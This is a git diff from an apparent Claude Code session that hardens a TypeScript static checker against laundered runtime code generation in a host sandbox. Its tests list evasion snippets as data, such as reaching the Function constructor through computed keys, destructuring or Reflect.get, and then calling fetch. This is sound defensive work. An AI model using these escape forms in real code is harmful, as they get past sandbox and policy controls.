Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
---
tests/cockpit-host/d3-network-policy.test.ts | 1 +
tests/cockpit-host/purity.test.ts | 130 ++++++++++++++++--
.../cockpit-host/support/d3-network-policy.ts | 5 +
3 files changed, 127 insertions(+), 9 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 92f7ae5..c84f6e1 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1771,6 +1771,7 @@ get().close();`,
`export const [chunk] = [(): void => {}];`, // array pattern
`export const { inner: { chunk } } = { inner: { chunk: (): void => {} } };`, // nested pattern
`export class chunk {}`, // class declaration
+ `export import chunk = Number;`, // export-modified import-equals alias
]) {
const result = tree({
'safe.ts': `export const chunk = 'safe-body';`,
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index 8cce279..4dfccdf 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -657,11 +657,15 @@ const memberNameOf = (node: ts.Node, constMap: ReadonlyMap): str
};
// The SOURCE property name read by a destructuring binding element: `{ x }` and
-// `{ x: y }` both read property `x`. Handles a quoted key `{ 'x': y }`.
-const bindingPropertyName = (node: ts.BindingElement): string | null => {
+// `{ x: y }` both read property `x`. Handles a quoted key `{ 'x': y }` and a
+// statically-resolvable computed key `{ ['con' + 'structor']: y }` through the same
+// static-string machinery a computed member access uses — an unresolved computed
+// key stays null (unknown).
+const bindingPropertyName = (node: ts.BindingElement, constMap: ReadonlyMap): string | null => {
const key = node.propertyName ?? node.name;
if (ts.isIdentifier(key)) return key.text;
if (ts.isStringLiteralLike(key)) return key.text;
+ if (ts.isComputedPropertyName(key)) return staticStringOf(key.expression, constMap);
return null;
};
@@ -701,6 +705,13 @@ const isValueReference = (id: ts.Identifier): boolean => {
if (ts.isPropertySignature(p) && p.name === id) return false;
if (ts.isQualifiedName(p) && p.right === id) return false;
if (ts.isTypeReferenceNode(p)) return false;
+ // An identifier inside a `typeof X` TYPE query (a `TypeQueryNode`) is a type-level
+ // name that erases at runtime — never a value read. Its `exprName` is an
+ // `EntityName`, so walk up any `QualifiedName` (`typeof A.B`) to reach the query.
+ // A runtime `typeof x` is a `TypeOfExpression`, a different node, and is untouched.
+ let entity: ts.Node = id;
+ while (ts.isQualifiedName(entity.parent)) entity = entity.parent;
+ if (ts.isTypeQueryNode(entity.parent) && entity.parent.exprName === entity) return false;
return true;
};
@@ -747,8 +758,12 @@ const servesAsAccessObject = (node: ts.Node): boolean => {
* - (b) any member access named `eval` / `Function` read off a global receiver
* (`globalThis`/`window`/`self`/`global`, through `as`/paren wrappers), e.g.
* `globalThis.eval`, `globalThis['ev' + 'al']`, `(globalThis as any)['eval']`;
- * - (c) any destructuring of a property named `eval` / `Function`
- * (`const { eval: e } = globalThis`);
+ * - (c) any destructuring of a reserved code-generation property — `constructor`
+ * on any receiver, or `eval` / `Function` — including a statically-resolvable
+ * computed key (`const { ['con' + 'structor']: C } = fn`);
+ * - (c2) reflective recovery `Reflect.get(obj, K)` whose key is `constructor`, is
+ * `eval` / `Function` off a global receiver, or is not statically resolvable, and
+ * any `Reflect.construct(...)`; `Reflect.apply` (invocation) is never matched;
* - (d) any *value reference* to the global `eval` / `Function` primitive — as a
* call callee, initializer, object-property value, array element, return
* value, or argument — so `[eval]`, `{ e: eval }`, `return eval` are caught at
@@ -783,10 +798,38 @@ const usesRuntimeCodeGeneration = (source: string): boolean => {
found = true;
}
}
- // (c) destructuring a property named eval / Function.
+ // (c) destructuring a reserved code-generation property. Mirrors (a)/(b): the
+ // `constructor` chain on ANY receiver, `eval`/`Function` as established. The
+ // key resolves through the shared static-string machinery, so a computed key
+ // `const { ['con' + 'structor']: C } = fn` is caught exactly as `fn['con' +
+ // 'structor']` is.
if (ts.isBindingElement(node)) {
- const name = bindingPropertyName(node);
- if (name !== null && RC_PRIMITIVE_NAMES.has(name)) found = true;
+ const name = bindingPropertyName(node, constMap);
+ if (name === 'constructor' || (name !== null && RC_PRIMITIVE_NAMES.has(name))) found = true;
+ }
+ // (c2) reflective recovery. `Reflect.get(obj, K)` is a property read whose key is
+ // the second argument, and `Reflect.construct(...)` reflectively invokes a
+ // constructor; neither is benign data indexing in this closure, so — unlike
+ // bracket indexing on an arbitrary object — the reflective route fails closed
+ // on an unresolved key. The method name resolves through the same static-key
+ // machinery as a member access, so `Reflect['get']` / `Reflect['con' + 'struct']`
+ // are caught exactly as `Reflect.get` is. `Reflect.apply` (invocation, used by
+ // the real host) is a different method and is never matched.
+ if (
+ ts.isCallExpression(node) &&
+ (ts.isPropertyAccessExpression(node.expression) || ts.isElementAccessExpression(node.expression)) &&
+ ts.isIdentifier(unwrapExpr(node.expression.expression)) &&
+ (unwrapExpr(node.expression.expression) as ts.Identifier).text === 'Reflect'
+ ) {
+ const method = memberNameOf(node.expression, constMap);
+ if (method === 'construct') found = true;
+ else if (method === 'get') {
+ const keyArg = node.arguments[1];
+ const key = keyArg !== undefined ? staticStringOf(keyArg, constMap) : null;
+ const receiver = node.arguments[0];
+ if (key === null || key === 'constructor') found = true;
+ else if (RC_PRIMITIVE_NAMES.has(key) && receiver !== undefined && isGlobalReceiver(receiver)) found = true;
+ }
}
// (d) a value reference to the global eval / Function primitive.
if (ts.isIdentifier(node) && RC_PRIMITIVE_NAMES.has(node.text) && isValueReference(node)) {
@@ -895,9 +938,10 @@ const acquiresHiddenBuiltin = (source: string): boolean => {
const member = memberNameOf(node, constMap);
if (member !== null && HIDDEN_BUILTIN_METHODS.has(member)) found = true;
}
- // (b) destructuring a property named getBuiltinModule / binding.
+ // (b) destructuring a property named getBuiltinModule / binding (key resolved
+ // through the shared static-string machinery, so a computed key is caught too).
if (ts.isBindingElement(node)) {
- const name = bindingPropertyName(node);
+ const name = bindingPropertyName(node, constMap);
if (name !== null && HIDDEN_BUILTIN_METHODS.has(name)) found = true;
}
// (c) forwarding the process global as a value (not a direct process operation).
@@ -3115,6 +3159,74 @@ describe('D3 host RC forwarding closure rejects laundered code generation (D3-CX
});
});
+describe('D3 host RC property-recovery consistency and reflective route (bounded correction)', () => {
+ // Every structurally distinguishable recovery of a reserved code-generation key is
+ // rejected uniformly: member access, computed access, destructuring, and reflective
+ // `Reflect.get`/`Reflect.construct`. `constructor` is reserved on any receiver.
+ const rejected: readonly { readonly form: string; readonly source: string }[] = [
+ { form: 'static constructor member access', source: `(async () => {}).constructor('return fetch()')();` },
+ { form: 'statically-computed constructor member access', source: `(async () => {})['con' + 'structor']('return fetch()')();` },
+ { form: 'destructured constructor', source: `const { constructor: C } = (async () => {});\nC('return fetch()')();` },
+ { form: 'statically-computed destructuring key for constructor', source: `const { ['con' + 'structor']: C } = (async () => {});\nC('return fetch()')();` },
+ { form: 'destructured Function', source: `const { Function: F } = globalThis;\nF('return fetch()')();` },
+ { form: 'statically-computed destructuring key for eval', source: `const { ['ev' + 'al']: e } = globalThis;\ne('fetch()');` },
+ { form: 'Reflect.get of constructor on any receiver', source: `Reflect.get(async () => {}, 'constructor')('return fetch()')();` },
+ { form: 'Reflect.get of eval off the global receiver', source: `Reflect.get(globalThis, 'eval')('fetch()');` },
+ { form: 'Reflect.get with an unresolved dynamic key fails closed', source: `declare const k: string;\nconst v = Reflect.get({}, k);\nvoid v;` },
+ { form: 'Reflect.construct of any target', source: `const o = Reflect.construct(Object, []);\nvoid o;` },
+ { form: "computed Reflect['get'] of constructor", source: `Reflect['get'](async () => {}, 'constructor')('return fetch()')();` },
+ ];
+ for (const { form, source } of rejected) {
+ it(`rejects ${form}`, () => {
+ expect(usesRuntimeCodeGeneration(source)).toBe(true);
+ });
+ }
+
+ it('preserves legitimate Reflect.apply and a non-reserved reflective read', () => {
+ // The real closure captures `Reflect.apply` to invoke a method poison-resistantly.
+ expect(usesRuntimeCodeGeneration(`const reflectApply = Reflect.apply;\nreflectApply(String.prototype.trim, ' x ', []);`)).toBe(false);
+ // A reflective read of a non-reserved, statically-known data property is not recovery.
+ expect(usesRuntimeCodeGeneration(`const v = Reflect.get({ label: 'x' }, 'label');\nvoid v;`)).toBe(false);
+ });
+
+ it('preserves legitimate arbitrary non-global computed indexing (finite enforcement boundary)', () => {
+ // A dynamic computed key on an arbitrary non-global object is indistinguishable
+ // from data indexing and is NOT rejected — the real closure indexes pervasively.
+ for (const source of [
+ `const results: string[] = [];\nconst index = 0;\nconst r = results[index];\nvoid r;`,
+ `const list: Record = {};\nconst key = 'a';\nconst v = list[key];\nvoid v;`,
+ `const HTML_ESCAPES: Record = {};\nfunction esc(character: string) { return HTML_ESCAPES[character]; }\nvoid esc;`,
+ ]) {
+ expect(usesRuntimeCodeGeneration(source), source).toBe(false);
+ }
+ });
+});
+
+describe('D3 host type-query identifiers are not runtime value reads (bounded correction)', () => {
+ // `typeof X` in a TYPE position erases at runtime; the reserved name inside it is a
+ // type-level reference, never a value read, so it must not trip the RC/HA guards.
+ for (const name of ['Function', 'eval', 'globalThis', 'process']) {
+ const source = `type X = typeof ${name};\nconst x: X = null as unknown as X;\nvoid x;`;
+ it(`does not flag a type query \`typeof ${name}\``, () => {
+ expect(usesRuntimeCodeGeneration(source)).toBe(false);
+ expect(acquiresHiddenBuiltin(source)).toBe(false);
+ });
+ }
+ it('handles a qualified type query `typeof ns.member`', () => {
+ const source = `declare const ns: { eval: unknown };\ntype X = typeof ns.eval;\nconst x: X = null as unknown as X;\nvoid x;`;
+ expect(usesRuntimeCodeGeneration(source)).toBe(false);
+ });
+ it('still detects an actual runtime reference to the reserved capability', () => {
+ // The type-query suppression is specific to type position: a runtime value use of
+ // the same names is still rejected.
+ expect(usesRuntimeCodeGeneration(`const e = eval;\ne('fetch()');`)).toBe(true);
+ expect(usesRuntimeCodeGeneration(`const g = globalThis;\nvoid g;`)).toBe(true);
+ expect(acquiresHiddenBuiltin(`const p = process;\nvoid p;`)).toBe(true);
+ // A runtime `typeof` OPERATOR (a value expression, not a type query) still reads the value.
+ expect(usesRuntimeCodeGeneration(`const t = typeof globalThis;\nvoid t;`)).toBe(true);
+ });
+});
+
// ---------------------------------------------------------------------------
// HA v2 — forwarding closure. The v1 detector missed a hidden acquisition
// laundered by forwarding `process` or the bound method through a destructuring,
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 620db83..4384ecb 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -1884,6 +1884,11 @@ function hostExportsOf(ctx: Context): HostModuleExports {
if (ts.isEnumDeclaration(statement) && hasExportModifier(statement)) {
recordExplicit(valueSymbolOf(ctx.checker, statement.name), statement.name.text);
}
+ // `export import X = …` (a non-type-only export-modified import-equals) binds a
+ // runtime alias `X` that likewise shadows a same-name star export.
+ if (ts.isImportEqualsDeclaration(statement) && hasExportModifier(statement) && !statement.isTypeOnly) {
+ recordExplicit(valueSymbolOf(ctx.checker, statement.name), statement.name.text);
+ }
if (ts.isVariableStatement(statement) && hasExportModifier(statement)) {
for (const declaration of statement.declarationList.declarations) {
for (const identifier of bindingIdentifiers(declaration.name)) {